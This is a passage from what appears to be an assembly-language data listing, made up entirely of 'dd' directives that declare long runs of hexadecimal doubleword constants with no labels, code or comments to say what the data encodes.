		dd 6DC1800h, 3A5AA688h,	405D0043h, 0D81BE46Fh, 940062AAh
		dd 0D59A03E6h, 0E85F42h, 0F4D69ED2h, 0CBA50F6Ch, 0D3008C76h
		dd 41B58461h, 5C47D4h, 67668A3Ah, 761B7C9Dh, 0EDB93F00h
		dd 8254C86Ah, 327391h, 4E29EC37h, 4F286F74h, 2F0B0D1Dh
		dd 0BDAB2DC3h, 0C4839881h, 0A204006Ah, 95F6552Ah, 0ED0792BBh
		dd 6806EF27h, 0E58F480h, 24D4A064h, 0C932863h, 29800EB0h
		dd 0B0F8EDEh, 7F3BA901h, 0FDBC5021h, 0D43C9740h, 85040693h
		dd 17408B12h, 11B04Eh, 71EA954Fh, 9400A85Ah, 0DFCDA22Eh
		dd 0E4139BA1h, 95BE0032h, 0E793C5DCh, 801C4131h, 270B40FFh
		dd 0F1E81B1h, 2080DA10h, 5565D194h, 9948A117h, 97A00108h
		dd 3B1238BEh, 1E7330C4h, 40E40AFFh, 1598C9ADh, 97120FA6h
		dd 1444657Eh, 44908A9Eh, 60C0962Eh, 367EC9B6h, 8600021Bh
		dd 0E9147C94h, 0A00F6F6Ah, 0E9AAF84h, 411CBB84h, 3D418F2Ch
		dd 0A3AA6200h, 0BB949BDh, 71FC0010h, 3C30DD72h,	970044CBh
		dd 1E431F67h, 0F88E854h, 8295F57h, 8A41410Fh, 20EAECE4h
		dd 3B2AAAFCh, 0A04424BFh, 115C0059h, 5E9804D0h,	149A0882h
		dd 13010EEEh, 978AE21Eh, 48BBAD26h, 0AC5C8280h,	18DC2E61h
		dd 0A078A30Fh, 544060A4h, 256343h, 74BBE74Fh, 8A74236h
		dd 0A849D300h, 0BA1FD08Dh, 0C3F23EA9h, 7D685E00h, 70151CE0h
		dd 2B798E79h, 3821A107h, 4530CA58h, 5C8524h, 90A07E3Bh
		dd 0AF2E7528h, 5457FB0Bh, 644049Fh, 0ADF09BC7h,	0C841FCh
		dd 8A07FACCh, 0DD36A647h, 6A046700h, 291660E8h,	19DFC21h
		dd 0FDA353Eh, 0CDE08D43h, 0C46C61B6h, 6EE424B5h, 8E8C8F00h
		dd 7F1A09B1h, 0DEA31EC8h, 5FEA801Fh, 90D52976h,	0BD450500h
		dd 55E411BCh, 54990065h, 0B7256018h, 0E0E07D93h, 4AC6B01Ch
		dd 4F0E3245h, 0A02E807h, 88018A60h, 9DF000F9h, 1D2242B7h
		dd 0FF07331Fh, 18E1FE31h, 95AFAE0h, 47280072h, 7C60F043h
		dd 0A4018316h, 3BF4D2A0h, 0DFF43101h, 2FE0002Dh, 9F732AEh
		dd 0D701D057h, 25A20383h, 0F4E4C984h, 80160086h, 0AFA62A27h
		dd 9170E94Ah, 7E20266Ch, 0A7750108h, 0DA6012FFh, 0C0D3E4CFh
		dd 3DF86409h, 0E080015h, 1247828Ch, 0C02AF3DCh,	0F2443360h
		dd 32035272h, 414FF89Ah, 5B6DB0ECh, 3E100015h, 0B5C114EBh
		dd 61EE4D69h, 8484BA28h, 96477301h, 0D17E207Ah,	0C1F884DAh
		dd 485F5882h, 233F20h, 0C727FE65h, 673A3375h, 5B8D3C00h
		dd 4A7CCAFFh, 52E13BB0h, 7698004Eh, 51A1A47Fh, 0A0300407h
		dd 63F0503Dh, 285B8794h, 0C5D8A5h, 0FD1286CBh, 8B83156Fh
		dd 303F4717h, 7CC4FF00h, 12F6839h, 3618AB1Eh, 0DF4FBB91h
		dd 8F3FB9E8h, 82A9C0FFh, 3EF02900h, 3B2BB2A1h, 15B500F2h
		dd 87735E3Ah, 0EF7D8264h, 8B8A4300h, 0C13CBFF5h, 0B78D3C85h
		dd 0B34BCC01h, 0E499527Ch, 0D500841Ch, 0CD4373C9h, 635ADDh
		dd 86C2E76Ah, 0CF2464FBh, 6C5E3001h, 0C4DE3308h, 0C19FF8CBh
		dd 8A5218BCh, 4EE85094h, 0A857C00h, 0BB4D2FB7h,	649E00A8h
		dd 0E2740328h, 8100B62Dh, 9BDC394Ch, 0F99F26h, 90663189h
		dd 44565C0Bh, 0E9D4961Dh, 0DE438100h, 0D6A8E0h,	0EFDF8F0Eh
		dd 94B3C527h, 4A319C00h, 75676C57h, 59E8094Eh, 0C4A33F09h
		dd 810104AFh, 0DDD12507h, 23D0CF90h, 0F2480017h, 15C47F6Ah
		dd 140FE238h, 0CEA17BADh, 0CF88E02Fh, 9B67519h,	0D8944046h
		dd 0D033D000h, 5F02AD8Ch, 0ACCB61E9h, 0FCECC881h, 326A13C7h
		dd 3391C0EAh, 0B40E824Ch, 60BF06ABh, 0FB046B2h,	0DBA9068Dh
		dd 505B0784h, 8AA45100h, 6B6D96DEh, 9DB80599h, 84A0F32Bh
		dd 7001C08Bh, 4C03EFE7h, 0CA54F24Dh, 7B3FE006h,	0BB1107F6h
		dd 82B21DA0h, 8C787EC5h, 4ABC8600h, 5CFD0B42h, 343A03E4h
		dd 0D6A5D46Fh, 0EE2F203h, 0A856F686h, 700AE1h, 514A37DAh
		dd 0DB2F119Fh, 5C6A2160h, 81BAA3h, 0E362D0D5h, 0D674EF9h
		dd 120FD3B0h, 40EC021Ch, 633C6DC2h, 0F7F2006Eh,	0F16239E5h
		dd 1803E7CFh, 8141A8F3h, 5008A81Ah, 0AAD4383Eh,	0A75C8A84h
		dd 0AEE8D0F9h, 6E903C4Ah, 1D02B300h, 0CB674D87h, 0E1E2A8h
		dd 350D8EBCh, 0F3C2B4AEh, 8FAC0CC0h, 27FD643h, 0CE600771h
		dd 94A0268Dh, 0A6241A30h, 5386E300h, 5607AC98h,	0BD8A00C7h
		dd 0B4496020h, 9C007E1Eh, 376FD7C2h, 1C863C89h,	963A97E2h
		dd 28120074h, 799FA933h, 0D426B928h, 5200C3F2h,	0E496B2FEh
		dd 666DB7h, 30D47E56h, 683B0BBCh, 7CB8153Dh, 0AB00CDE0h
		dd 95071C0Dh, 1C0285D3h, 0C026472Ah, 1B5EC696h,	6C125C4Ch
		dd 68022B6Ah, 84F8CBBBh, 0C1AEE088h, 0EC098ED0h, 1C31783Ah
		dd 0C92270DBh, 0F8DEDF8h, 5A14CB33h, 90E3485h, 0C880F083h
		dd 89E1D3C6h, 0C983CA07h, 3070293Fh, 33B7823h, 0C0B646E4h
		dd 50001525h, 2B442FC7h, 28DCBA0Ch, 0F46B8Eh, 40B2DD6Ch
		dd 1FB59414h, 0F400E4B0h, 340E5D09h, 13E8227Fh,	824ABDB9h
		dd 0F044472Ch, 0F0670706h, 24DA33FFh, 0C9A443CAh, 64019C34h
		dd 73F939A2h, 0FBE46F0Ah, 0B67B76h, 92D54CBDh, 82CBE83Eh
		dd 8017663Ch, 6F36356Ch, 0E2A5958h, 0D7F51ACCh,	7D56B6E0h
		dd 380008E2h, 463CFCFEh, 0F241DBh, 5116EC2Eh, 0A96803B0h
		dd 30502A00h, 22BDE0Ch,	0B26102A6h, 0AA42573Ah,	0BE247CE0h
		dd 0E104F900h, 0EE8EF5CEh, 812C0085h, 8A692B01h, 3A02834Fh
		dd 9FCA1B30h, 2CD0DAh, 0FDB400Bh, 0EDF83520h, 8A005974h
		dd 62389910h, 2FF40Ch, 7761B0D3h, 6CCFB236h, 3F932900h
		dd 6E523CDh, 0B968009Ch, 6B16768Dh, 0E8003CE1h,	0B3E7FB39h
		dd 280D23Ah, 0A278F8CFh, 0DDC0AD62h, 0FE005806h, 0AC9326DDh
		dd 0A77FBh, 709BE42Ch, 3EE5E17Ah, 60BC2B78h, 2835BC04h
		dd 24210480h, 58509ADBh, 0C5004137h, 48421344h,	8E00C94Bh
		dd 5F2F9A0h, 98E1E85Ch,	0A60B00D4h, 9E7795E2h, 0A9006B97h
		dd 69D41E4Ch, 789E548h,	7C43B78Bh, 9181BE22h, 68CFF4DFh
		dd 0BED500FCh, 559C13CAh, 8801657h, 0B86D14E3h,	723B413h
		dd 0E0D17BB0h, 61924FAAh
		dd 110D948h, 780BA5CAh,	6BD442C9h, 8E491630h, 8B28D071h
		dd 383A9B28h, 0C8AB091Ch, 4DE8801Fh, 2FDB0B7h, 78395FE6h
		dd 0F8108C81h, 59FF1ECEh, 34E940F6h, 4055AF4Ch,	0B7DE2C02h
		dd 0C6E8ED56h, 9EA0Ch, 2F58FE9Bh, 2C12DE0Bh, 8D0E2600h
		dd 0CAC41435h, 0B9F10064h, 6CEF51E4h, 633C6761h, 3260840Ch
		dd 0AEBCAD27h, 86D1Eh, 0D81BF478h, 7AF63106h, 1513B802h
		dd 40C7FFC4h, 0E063E7h,	76ACC29Fh, 8D0C0728h, 78704E00h
		dd 871473Fh, 36D7E13h, 0A25D2526h, 89A0E680h, 3800EE68h
		dd 0EDC04F44h, 39F7A11Bh, 0AC00A3BBh, 0D699E904h, 74008DF3h
		dd 2E7B2A68h, 0A07C50D4h, 0F8E8568Dh, 181F00B6h, 8276FAAh
		dd 8F39DE87h, 4B4A8F26h, 22846481h, 59C720D8h, 0D3C40Bh
		dd 0FB9E698Dh, 0BCB203F9h, 0E00C444Ch, 427DB495h, 658B0B35h
		dd 72E0B5Ch, 49E1D198h,	2EF40C32h, 6DA20B7Bh, 0CC41A614h
		dd 20BC3566h, 693E4DB0h, 0A618B8ADh, 76006882h,	1FD89CFFh
		dd 0AE8BA14Fh, 18053C4h, 42EBB0DDh, 0FC301E33h,	5000DAADh
		dd 0B5CA51D5h, 0FA120EAh, 93D4E877h, 8CE00033h,	28AD668Bh
		dd 5C5A7226h, 78D14817h, 44306BEBh, 36C1010Ah, 5933D530h
		dd 938EF066h, 0D0618D06h, 92E2C7h, 0E92848DDh, 2FC54F51h
		dd 410F7C00h, 8B5BFBB6h, 8E0700CBh, 7D40B7EDh, 0D9033702h
		dd 0EC4F81DEh, 0CFA4982Bh, 0A1125C14h, 96DB6B00h, 0CBC9B45Bh
		dd 82BD7601h, 7902B8E0h, 248795C8h, 84A81F9Ah, 902EC267h
		dd 10087058h, 8A0045E0h, 18B788EBh, 0FC5994FBh,	1189135Eh
		dd 24F700B0h, 434A554Ch, 9D34F201h, 230CEABFh, 0A935F041h
		dd 91628C34h, 0A06584B8h, 53D9C0C0h, 0D40BB7CAh, 6068BE5Eh
		dd 7F043918h, 16BB16A0h, 40941DB8h, 0B1216082h,	0A3004B6Eh
		dd 0A1273E2Bh, 2A5266Fh, 9D38E9E7h, 4870ACCFh, 1BC565Ch
		dd 54DE84B3h, 0E0C4F693h, 9CDC5DADh, 1ABA88C0h,	55017985h
		dd 1524F69Ch, 0E450C9CCh, 36DA53h, 0F74941E3h, 0D4281BE0h
		dd 0A97927E6h, 8791D200h, 0ED5D6AE8h, 698E006Bh, 8C3AEEF2h
		dd 48B93762h, 7E831E6Fh, 80036E57h, 1540468h, 1A6B121Eh
		dd 0F027B51Bh, 573FDBCh, 7DEC217Ah, 0D8BAB00h, 6CB6613Ah
		dd 0D0A01F1Bh, 0FC9FC095h, 757750DDh, 0CAFD6A03h, 0D87D825Bh
		dd 0EBA39Eh, 0B69C991Ch, 0DAB2D54Dh, 1F004FEAh,	0F62D5B24h
		dd 0B596A4h, 0D52C1601h, 0F3F08CAEh, 37932700h,	0AF95458Ah
		dd 0CE540077h, 62E86EB9h, 0A407A757h, 31CCD1E9h, 2DFF1090h
		dd 792F00F8h, 0B8BE61B1h, 7E004DFCh, 756125Dh, 7D75DAh
		dd 5A90D1B3h, 0B183890Ah, 9F912500h, 1262F51Bh,	0AC370EA6h
		dd 8AE0F24Ah, 308569Dh,	8158092Dh, 91E36BD8h, 275F20h
		dd 0F93A36E9h, 9E4C5D5h, 95351600h, 9F61B91Bh, 0A0A4041Fh
		dd 0A0D410A7h, 7EE075B9h, 0DFBCE900h, 53B25CDAh, 9489009Dh
		dd 38A67AFDh, 2EF8A8F0h, 0B777920Ch, 0CE3F527Ch, 0F52EE978h
		dd 96DD1CC0h, 0AD007D04h, 0F918DBECh, 90D387E1h, 0FEAE0334h
		dd 0B584EBA7h, 34413BA1h, 38301634h, 6DA54904h,	0F3D1D11h
		dd 0F66E009Bh, 0E6DBB2CFh, 39055100h, 9CB702BAh, 0FA8F00D0h
		dd 2A78996Bh, 85005C67h, 0DCD1386Eh, 1D7FCEDh, 0C02552B0h
		dd 88EAFA80h, 80285E69h, 0A2213883h, 800936Eh, 8454F20Fh
		dd 38D15h, 0A4DCD490h, 0A0B52EE6h, 0EE2111Fh, 544B16CAh
		dd 40265B06h, 232C00C1h, 0F6B9E5AEh, 1B02E2ADh,	76633F36h
		dd 0A99084B3h, 8160BF87h, 909AC65Bh, 87E4C0h, 7013330Fh
		dd 0BDD960D3h, 0E4C43400h, 0E742CD0h, 0F9CD007Ah, 1F0732ADh
		dd 5A005CECh, 6B7FAEDAh, 50A499D7h, 0EC4C36Ch, 0C9AA8E1Ah
		dd 179BE700h, 0F6000AF5h, 0C23946E6h, 2D9991h, 571283BCh
		dd 0F101A4A9h, 0C88A3430h, 2C0D28h, 0A22E313Fh,	0AAD43CBFh
		dd 9ED30203h, 0C81FFD1Eh, 3072F036h, 57F1241Bh,	1E60469h
		dd 0C303DD00h, 9D099350h, 76D8036Ch, 0BC8D27BFh, 0B04B60E7h
		dd 9B032DDAh, 1CEF838Bh, 0C200B7C4h, 25128721h,	6C00759Eh
		dd 0BB96650Eh, 792DB00h, 0C31D5C7Bh, 0FBE42C08h, 0BAC40B65h
		dd 53A7F500h, 0FA00B10Eh, 6B99D3A1h, 7C853AD4h,	0DEA80392h
		dd 8E8C04DCh, 69ECD7A0h, 18218401h, 162FEB58h, 1C2798DCh
		dd 0C050205Bh, 9B04429Dh, 9A54A22Ah, 0A85AE388h, 3DA6C400h
		dd 5A030940h, 0DAF8E8h,	2F705CD7h, 0A1C78Fh, 0B6A89A9Ch
		dd 416804Ch, 0FB006EF0h, 6415C23Ah, 0B80ED394h,	29AF007Bh
		dd 6F662B9Ah, 0CF00DB5Bh, 0B9FE3CF7h, 1CB898Bh,	0A4386417h
		dd 0F85673E5h, 0ED070DA1h, 78C10B20h, 0E008FCh,	3673E7C7h
		dd 0D6159FB2h, 7153F800h, 82482131h, 0BAAB0138h, 771D07D1h
		dd 5001D373h, 7D69C453h, 0FBC0C6F6h, 4F3E1C11h,	0A3F74083h
		dd 7068A6E5h, 0D0BEA502h, 60749F29h, 397AFBh, 33BB8B4Ch
		dd 0F3173C7h, 3A608300h, 9EDA1F86h, 0CB780A74h,	855C5DDCh
		dd 0C10AA20Eh, 4179CF8Eh, 0C8645Ch, 0E49FB747h,	436000E3h
		dd 0F885108Bh, 6D0F547Bh, 80F6750Ah, 4C831EE6h,	5E8A00BEh
		dd 85895A92h, 0AFA3F305h, 808003F9h, 0EAC64528h, 0CB886A4h
		dd 0C56C2FF4h, 153EE808h, 14037B05h, 2BAA1DE7h,	84EE8050h
		dd 9C721461h, 2723288Ch, 0B1E7E501h, 19FAD079h,	0FEDB10C7h
		dd 41B000E7h, 0F9E11B3Bh, 497C971Dh, 86E08A50h,	0A977510Eh
		dd 2002AE0Dh, 0FCD76570h, 2A9A00DEh, 0B3C0EFEAh, 32001826h
		dd 28F22CA4h, 0B25A5Fh,	70103D6Fh, 0E99058Ch, 60466700h
		dd 0D8B586DFh, 2F880733h, 0E09C4B98h, 307AA6EDh, 4400E7F6h
		dd 6338ABE1h, 0F516E78h, 0B1CAED3h, 60FF3C20h, 0D6000489h
		dd 26322EB4h, 133D546Fh, 0B184707h, 280E9A86h, 60220480h
		dd 4400C6C0h, 0B0B3091Ch, 0A75B4Ah, 8F99C5AFh, 945E187Fh
		dd 47000E7Ah, 0C822B360h, 33F6D0h, 775B5AF9h, 8F76E74Fh
		dd 0A01CF700h, 6A8C0BDEh, 50E10082h, 0E85F8B9Ch, 7B0011DDh
		dd 4AE43069h, 3B2CCB2Dh, 9E00BB43h, 0D53D7240h,	0BE7523F8h
		dd 17FD6800h, 9A742522h, 0D6E7181h, 57F6068Ch, 0BEF04328h
		dd 65AB3988h, 58C4DF1Fh, 810060Ch, 0F11200D5h, 4D4A6736h
		dd 0A2488B7Ah, 0AF247443h, 8B3E0EE8h, 803198A1h, 50A723ACh
		dd 6CB0030h, 1F584C8Ah,	0B30063B6h, 48E8347Bh, 60161A1Dh
		dd 7822F1ECh, 3A7B2DB2h, 5FBDC0Fh, 2A46A047h, 0C9A854h
		dd 8DB2D881h, 9550805Ah, 8F314E00h, 123E99B6h, 97A63C82h
		dd 737FB90h, 0B00B985Ah, 2858B84Ch, 3F3029CDh, 7F3B8D8h
		dd 0BAFAC0FDh, 0E4B68089h, 30143BC2h, 7A7066Bh,	5ABED53Ah
		dd 15CAE061h, 4899BE70h, 0F9004C33h, 0A45075DFh, 8000203Eh
		dd 0A2CEFD30h, 2C07C7h,	0B2FABE93h, 0B43A8F79h,	2D207B0Fh
		dd 0C13E6E0Bh, 5875B5C2h, 7E4D3060h, 0A16600CFh, 9441341Eh
		dd 430063D5h, 45FD60E2h, 40B24Ah, 0AD70494Eh, 1C41E004h
		dd 0CFE66500h, 0B3F28D4h, 2ECB16DFh, 0E430013h,	0C779D2CDh
		dd 9EFA0401h, 45F0AD42h, 0F3A04087h, 77ED4248h,	21D6DA40h
		dd 9FC2B00h, 687939E1h,	3EF0005Dh, 0A0607125h, 7F60855Fh
		dd 0BA634F30h, 9D5C1809h, 2969106Fh, 64E2A000h,	8DB7156h
		dd 0DEF8183Fh, 626031CEh, 0A796F600h, 0AB5404BFh, 3EC7CB7h
		dd 0FBB1E949h, 3CB71C0h, 949AC5F8h, 0E6D32D0Eh,	0EBD606FFh
		dd 5CD01C28h, 0E2FDC09Fh, 111D85E8h, 4160BB74h,	77304960h
		dd 8D020053h, 2E3AC936h
		dd 740726B9h, 6B1FEAD8h, 0B7689D90h, 6C950077h,	48A67B88h
		dd 2B0211BCh, 32725E89h, 951EE062h, 0C090073h, 4C60E64Bh
		dd 96003A20h, 0FFFEF3AEh, 0F08CD61h, 71EAA784h,	924E0600h
		dd 0FD24F9D9h, 41004405h, 56BE5C2Ch, 0FA4800F4h, 189CBCC5h
		dd 9DA09E27h, 21DE46Ch,	1B80D254h, 0D4E9EA9Ah, 311FA8Dh
		dd 0C9A99506h, 96A8F43Bh, 3107A7A5h, 0E3FD2085h, 0DE58D930h
		dd 77D500BAh, 0FFF61A92h, 0D03A6D22h, 9176FE17h, 996E3400h
		dd 67C25351h, 0AD890087h, 0CC3A1E57h, 47F0AC05h, 71FA1A00h
		dd 29B14B36h, 129118AFh, 0DAF04461h, 0BC1DD00h,	52EA9BA8h
		dd 0F4580072h, 3582A43Fh, 54016451h, 2BDFF7F1h,	0B13BA759h
		dd 0A4AE4C6h, 7A3ED900h, 0FD33D072h, 8D7A4Dh, 25978546h
		dd 35FF1844h, 0DDA740C0h, 6067FCC0h, 1A13119Ah,	5500D90Eh
		dd 0C903A89Fh, 30042293h, 94205778h, 76002151h,	4C4AAFEAh
		dd 3EF1BCh, 1FAD6802h, 31DE61C6h, 383BE000h, 0A89816B7h
		dd 4D231835h, 32404056h, 2DAF5E1Fh, 6027C500h, 0AF45769h
		dd 6803C0DFh, 14678144h, 0A0272998h, 3444480h, 157000F3h
		dd 4C94DB86h, 7700584Fh, 0A567463Dh, 1F342940h,	6CC664h
		dd 0C9890DC8h, 94009DE0h, 12CC637Ah, 13CBEDh, 0AF702F08h
		dd 195D7D3Ah, 7A0EFF03h, 0BB71C2E0h, 11DF031h, 363E1EC7h
		dd 40811D1Bh, 8ABA920Bh, 0ED00D56Dh, 26DE2111h,	0FE614B75h
		dd 0E5CE0CDCh, 1A2280C7h, 0FE31BB00h, 23ACA86Fh, 0DB9C0371h
		dd 37252973h, 63B04EB8h, 172E4900h, 7A76F460h, 0F74200A7h
		dd 4CE36FFCh, 44E49169h, 0F596A00Bh, 0AC9D8276h, 8D4BE05Ah
		dd 0B4260048h, 15C19261h, 7200ED11h, 0AF58911Bh, 4710D6h
		dd 56F5979Ah, 8E82C3CBh, 89E7F41Dh, 8DEA278Eh, 3E9802Bh
		dd 78D4ECh, 0DC18558Bh,	61CB1B57h, 829A7739h, 3DADC8A3h
		dd 3516C021h, 0F73100E2h, 0A87C9307h, 0C6F41A0Ah, 42328A07h
		dd 8587E856h, 4E709B00h, 3D879D2h, 0E4504B76h, 0C8BEEFE1h
		dd 622498C1h, 2880E309h, 0DAAAD523h, 0CF04E8EEh, 7D0A9B75h
		dd 80F75F5Fh, 6BD1F0A2h, 43A10CEh, 8472006Ch, 0F79A979Bh
		dd 0A6A200A9h, 0A7363469h, 8F0A64F0h, 8099CE0Ah, 26107600h
		dd 0E134C31h, 0BD520147h, 0F0069FE0h, 660019E8h, 0FEB292A8h
		dd 39D66574h, 0C480574Eh, 621C2F4Ah, 3407FC9Bh,	32FA6A56h
		dd 6A80F5F9h, 0C22CB68Dh, 4891BD00h, 6BD0DE25h,	0A2ED00AFh
		dd 0E263D9A7h, 0DB00FE6Fh, 2C8047DDh, 7BF61EF8h, 7816001Ah
		dd 0B23FD4A4h, 5E00700Eh, 0C596EB34h, 6E2C77h, 0CADA3B90h
		dd 0E2B5552Dh, 282EDC00h, 2033AB3Ch, 0C9C60092h, 4EEC4394h
		dd 0B40F9546h, 8052C835h, 965D7C41h, 885A0337h,	95057403h
		dd 59731DE0h, 6A852100h, 97C524E8h, 42551CE1h, 0CC2840C9h
		dd 6F0EF471h, 0C10C0871h, 6894FD61h, 96151EB6h,	0D76E0187h
		dd 0D0772BDAh, 3FEADB7Fh, 6D360202h, 604DFF41h,	627EA2Fh
		dd 54014ED5h, 710040BCh, 0BBEBA0F2h, 3216308h, 6E924135h
		dd 0C38527E5h, 1F3B585h, 25A01498h, 648C8707h, 0F1A07976h
		dd 30983437h, 9CF91675h, 520FE1E6h, 0E5F3D57Ah,	21C18305h
		dd 0E883720Eh, 0F590D0C9h, 4B897807h, 3C10F8ACh, 1D3D41Dh
		dd 97259C8Ah, 0B8030DAFh, 0E2118031h, 0FC0B2E4Dh, 0D88D3072h
		dd 10370CB9h, 7B1FBC06h, 31B0FBh, 31C39A90h, 0BDA3D9ABh
		dd 30DD5A00h, 0EE7C3E55h, 0F265035Eh, 5D9F724Dh, 4E0048EEh
		dd 0BF462D5Bh, 42F103h,	0C45FFC10h, 0F06D70A3h,	877F163Fh
		dd 0EEEBA9D8h, 0E68801CEh, 47E8CA13h, 757B00DAh, 8FCF8101h
		dd 1F008B69h, 0C9F8254Ch, 0CD2BF9h, 0D838C0D1h,	0F9677FEh
		dd 1F296038h, 1480D34Bh, 0D97A9C7h, 0F4A80048h,	7E6A1353h
		dd 2900E6E7h, 0A650C95Eh, 3E5177E2h, 132E9497h,	9F003AE9h
		dd 298B687Eh, 0F60074E4h, 835F35B5h, 7AA081F0h,	0F76606AEh
		dd 59A27034h, 7DB2F800h, 0C2AF6CEh, 856703F2h, 12759A0Fh
		dd 0F8CFC7F8h, 97A428C0h, 0A0A7F577h, 49B9448h,	7ACB8ED8h
		dd 9A742151h, 0D7ED8A01h, 350F4590h, 11DC9B0Fh,	66038054h
		dd 13688E2h, 0D220894Fh, 0D89A8125h, 0CD006915h, 9E135C84h
		dd 7845D1C3h, 1BA03FA7h, 0DDD60500h, 88EFA4C7h,	37A88560h
		dd 0C3EBF625h, 463CAF90h, 0E0E81918h, 1FD6D828h, 0C3A09Eh
		dd 185DC86Fh, 66077BCDh, 3A387C01h, 40346191h, 0E85EECh
		dd 0EE7A21A0h, 78F97FF2h, 84FA7B00h, 4202D498h,	6D713BCBh
		dd 4E381980h, 0F9679C82h, 49BBE307h, 4823F4D8h,	0B6FBF062h
		dd 1F9F0053h, 91CC68FFh, 0F6003174h, 9CC442E0h,	0F2CE526Eh
		dd 0E6363857h, 7B9F1Ch,	611416F3h, 0A90064A2h, 0A5D9C3AEh
		dd 9DDA46h, 8469BB7Bh, 0A28EA87Ah, 48689003h, 0E0FEC202h
		dd 2E71D2h, 0D48AED5Ch,	0B5530737h, 6F4C7E00h, 0B641A4BBh
		dd 81E0A9h, 6305CF6Ah, 0FEFDE072h, 0C00F3FF6h, 171FC9h
		dd 0F40EE337h, 2075600Bh, 0FF40425Eh, 1BAEA300h, 0BB126287h
		dd 0A04300ACh, 0F0343FF3h, 5E1FF774h, 0A7405C8Dh, 44EBE965h
		dd 3C8F8E8h, 9FE07B9Eh,	1289AECFh, 1D108FACh, 0EBDA40CCh
		dd 7C37D5Dh, 0BAD00C90h, 0E078304Ah, 0A000F7B3h, 8D95203Bh
		dd 63D5673h, 8E23EEE3h,	46E8D075h, 9EFE3E00h, 943968B1h
		dd 2A850035h, 0A160935Eh, 7E00510Eh, 0BF8A199Fh, 96C9B1Eh
		dd 0F323DBA2h, 71CF4F01h, 294850A8h, 0EB08D1A3h, 47BAC8B5h
		dd 1E1F884Eh, 74969580h, 3B6EC16h, 35277D83h, 64A0C65Ch
		dd 0AE28B211h, 0A9EA8014h, 6E29B014h, 1B9E00A0h, 0A1560F38h
		dd 7A2A0F34h, 14FDC1F2h, 9F07C86Ah, 0C30D99BBh,	0D8908957h
		dd 9401077Bh, 3B2BC41Ch, 0B182E84Dh, 8ADFE759h,	0EB9B880h
		dd 0E0009186h, 0C515FDB1h, 429D6Ah, 5A3FBF9Fh, 6502C64h
		dd 0B466020Eh, 0B5FB8063h, 21360D1h, 7CA1DBA8h,	0A6C32547h
		dd 0B2261800h, 3474329Bh, 8F2400E7h, 3A9A1F65h,	0F4074B55h
		dd 2709FFF0h, 0FBC580EFh, 4B906C0h, 0DCBDBCF8h,	81FC0DEh
		dd 0DD0014A9h, 1DE99E22h, 0E3706Bh, 2747BD16h, 258EE124h
		dd 0C97F7300h, 7922A0AAh, 6EA8001Bh, 7B6B68D8h,	0D00AC27h
		dd 17085DA5h, 38508895h, 2D8EC2E7h, 0D3E0DDBFh,	0EEDED451h
		dd 0E8123F0Eh, 102F00CEh, 94955Ah, 8D20F456h, 43F247E2h
		dd 4D006B74h, 37A249F0h, 3FC8AE64h, 1B83BCAFh, 5234572Bh
		dd 20DED5A8h, 3DFB8F01h, 792F85C8h, 0F024C730h,	2AAF00EDh
		dd 22C176C3h, 0E43F23DCh, 70500E9h, 0DD1521C6h,	0EE98005Fh
		dd 0D9566718h, 7700A144h, 7ECDF0BEh, 0CD576F2h,	22BD1050h
		dd 0F7B0E059h, 302758C2h, 0E30422C2h, 1256CA21h, 66B15E10h
		dd 794DB183h, 0DAFB7211h, 8384FC02h, 863B858h, 0BDBF3B59h
		dd 87253888h, 0C8BE78EEh, 3FC2600h, 7C1CD950h, 0ECFA88F7h
		dd 21D4FD3Eh, 4E9C8038h, 1F2AAE14h, 3411BA42h, 84322138h
		dd 516F24Eh, 58442690h,	84051CE6h, 0D2FC43C2h, 51003FA3h
		dd 0FF0580EBh, 72B183h,	9945A8A2h, 1263E460h, 770E4CFEh
		dd 2E66980Dh, 62A1001Eh, 3C45C0A4h, 2980E3B8h, 8C80E276h
		dd 0A63FF2BDh, 15A8018h, 6E9F5494h, 58B763h, 0D0EC4Ch
		dd 58A0108Dh, 0CB6CE64h, 626690FFh, 800C3E30h, 0F255EF7Bh
		dd 817800E3h, 0DD4A7CA2h, 5E3DB3FDh, 0B58F84C3h, 5C872F15h
		dd 0C01F55B0h, 0B3F90061h, 23A9C881h, 0B575D322h, 0B0CB130Fh
		dd 0B4D881A4h, 0A88FBDCAh
		dd 0B58096EFh, 0BA0A104Bh, 5A501E7Bh, 150701BCh, 3EF42365h
		dd 0C5BB673h, 0DE677B62h, 0D33B1A80h, 88DF808Eh, 5B3AF8F1h
		dd 0BD57301Bh, 0ADD416A1h, 0B987D602h, 80C5A419h, 0EA263D4Ch
		dd 2EDD005Fh, 3E4D136Bh, 930958BEh, 51F375h, 2781B2DDh
		dd 363100EDh, 2853F904h, 0F6159C8h, 82019016h, 884EA843h
		dd 649809h, 6921172Dh, 79945F2Ah, 5368DF63h, 0F86FA849h
		dd 0D690CFh, 0F978E03Bh, 977A7D58h, 4459E303h, 833626h
		dd 937FE8E0h, 7DF29874h, 0BFBE5700h, 55DE0768h,	9F99CF5Bh
		dd 38D1820h, 0CCF7FEE2h, 0A606FAACh, 30F698FDh,	27AB0131h
		dd 2858A20h, 0A9FC40FEh, 0E5034BE3h, 67DDF2B9h,	143D9070h
		dd 58393D4Ch, 56F42880h, 0EBBFB437h, 1DD7201Fh,	32608B80h
		dd 1124F7Eh, 0A0D35EE6h, 0E82237DFh, 50000EFAh,	2334B495h
		dd 86DBBFh, 2063F149h, 8B9326D5h, 42C9B200h, 83B3EDCDh
		dd 0CB5B0143h, 74C77876h, 0F0FFD995h, 240FD60Bh, 9C624BB0h
		dd 0EB8B7380h, 1F2A6E23h, 0C036F88Eh, 5208B0FEh, 15163721h
		dd 151CE868h, 0F1FAF80h, 0F3C5F9Ch, 0C1C54FDh, 0A012C3E7h
		dd 0F8522A91h, 740E3AF2h, 0FFC8AFAh, 1926A0C7h,	44DB5Eh
		dd 0D198F1AAh, 7A041D41h, 0E5004374h, 9361D846h, 0AB24C2h
		dd 365DEF42h, 7F57598h,	70F4F800h, 8C35F9B5h, 21C1004Eh
		dd 535548E8h, 0C900C522h, 601BCC99h, 4B648Dh, 68F09039h
		dd 0C05065F8h, 28807702h, 8072C748h, 67327D81h,	0A8D0F5EDh
		dd 0A5170356h, 0C8F0772Fh, 0BCB84898h, 4E28CC62h, 0C71E2112h
		dd 0E5AB0010h, 25E180CAh, 0A0AAE640h, 895C2228h, 2086086Fh
		dd 0A610CDEAh, 3C77EC3Ah, 2F14028Ah, 92181463h,	18A279DCh
		dd 378029C4h, 46F2A744h, 28C96EDBh, 2028137Eh, 5B1019E3h
		dd 31184398h, 0C51A293Dh, 402D0E88h, 83405F1Dh,	0D7B863h
		dd 204AFA40h, 0DD11A58h, 80FE5239h, 31007D5h, 0D95C8Eh
